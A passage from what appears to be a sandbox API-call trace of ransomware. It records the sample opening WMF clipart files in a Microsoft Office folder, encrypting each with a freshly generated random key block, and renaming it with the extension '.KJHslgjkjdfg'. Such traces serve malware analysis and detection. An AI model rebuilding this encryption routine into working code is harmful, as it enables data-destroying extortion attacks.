pbBuffer=0x9adfd0) returned 1 [0218.338] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.339] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.340] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.340] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.340] GetProcessHeap () returned 0x990000 [0218.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.340] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.340] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.340] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.340] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.341] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.341] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.341] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.341] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.341] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.341] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.341] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.341] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xce8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xce8, lpOverlapped=0x0) returned 1 [0218.341] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcf0) returned 1 [0218.341] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.341] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xcf0, lpOverlapped=0x0) returned 1 [0218.341] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.341] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.341] SetEndOfFile (hFile=0x130) returned 1 [0218.342] GetProcessHeap () returned 0x990000 [0218.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.342] GetProcessHeap () returned 0x990000 [0218.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.342] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf.kjhslgjkjdfg")) returned 1 [0218.343] CloseHandle (hObject=0x130) returned 1 [0218.343] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda9a9b00, ftCreationTime.dwHighDateTime=0x1bd4c4d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xda9a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4c4d, nFileSizeHigh=0x0, nFileSizeLow=0x338e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01590_.WMF", cAlternateFileName="")) returned 1 [0218.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.345] GetProcessHeap () returned 0x990000 [0218.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.345] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.345] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0218.347] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.347] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.347] GetProcessHeap () returned 0x990000 [0218.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.347] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.347] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.347] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.347] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.347] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.348] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.348] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.348] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.348] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.348] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x338e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x338e, lpOverlapped=0x0) returned 1 [0218.349] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3390, dwBufLen=0x3390 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3390) returned 1 [0218.349] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.349] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3390, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3390, lpOverlapped=0x0) returned 1 [0218.349] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.349] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.349] SetEndOfFile (hFile=0x130) returned 1 [0218.351] GetProcessHeap () returned 0x990000 [0218.351] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.351] GetProcessHeap () returned 0x990000 [0218.351] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.351] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf.kjhslgjkjdfg")) returned 1 [0218.352] CloseHandle (hObject=0x130) returned 1 [0218.352] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TAIL.WMF", cAlternateFileName="")) returned 1 [0218.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.354] GetProcessHeap () returned 0x990000 [0218.354] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.354] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.354] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0218.356] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.356] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.356] GetProcessHeap () returned 0x990000 [0218.356] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0218.356] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0218.356] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.356] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0218.356] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.357] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.357] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.357] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.357] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.357] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.357] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8b6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8b6, lpOverlapped=0x0) returned 1 [0218.357] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0) returned 1 [0218.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.357] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8c0, lpOverlapped=0x0) returned 1 [0218.357] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.358] SetEndOfFile (hFile=0x130) returned 1 [0218.358] GetProcessHeap () returned 0x990000 [0218.358] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0218.358] GetProcessHeap () returned 0x990000 [0218.358] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf.kjhslgjkjdfg")) returned 1 [0218.359] CloseHandle (hObject=0x130) returned 1 [0218.360] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9583f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9583f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xbde2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00011_.WMF", cAlternateFileName="")) returned 1 [0218.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.362] GetProcessHeap () returned 0x990000 [0218.362] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.362] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.362] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0218.364] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.364] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.364] GetProcessHeap () returned 0x990000 [0218.364] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.364] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.364] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.364] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.364] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.364] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.364] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.365] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.365] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.365] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.365] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbde2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbde2, lpOverlapped=0x0) returned 1 [0218.367] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbdf0, dwBufLen=0xbdf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbdf0) returned 1 [0218.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.367] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbdf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbdf0, lpOverlapped=0x0) returned 1 [0218.368] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.368] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.368] SetEndOfFile (hFile=0x130) returned 1 [0218.369] GetProcessHeap () returned 0x990000 [0218.369] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.369] GetProcessHeap () returned 0x990000 [0218.369] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.369] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf.kjhslgjkjdfg")) returned 1 [0218.371] CloseHandle (hObject=0x130) returned 1 [0218.371] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d5e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00014_.WMF", cAlternateFileName="")) returned 1 [0218.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.373] GetProcessHeap () returned 0x990000 [0218.373] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.373] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.373] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.373] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0218.376] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.376] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.376] GetProcessHeap () returned 0x990000 [0218.376] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.376] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.376] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.376] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.376] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, 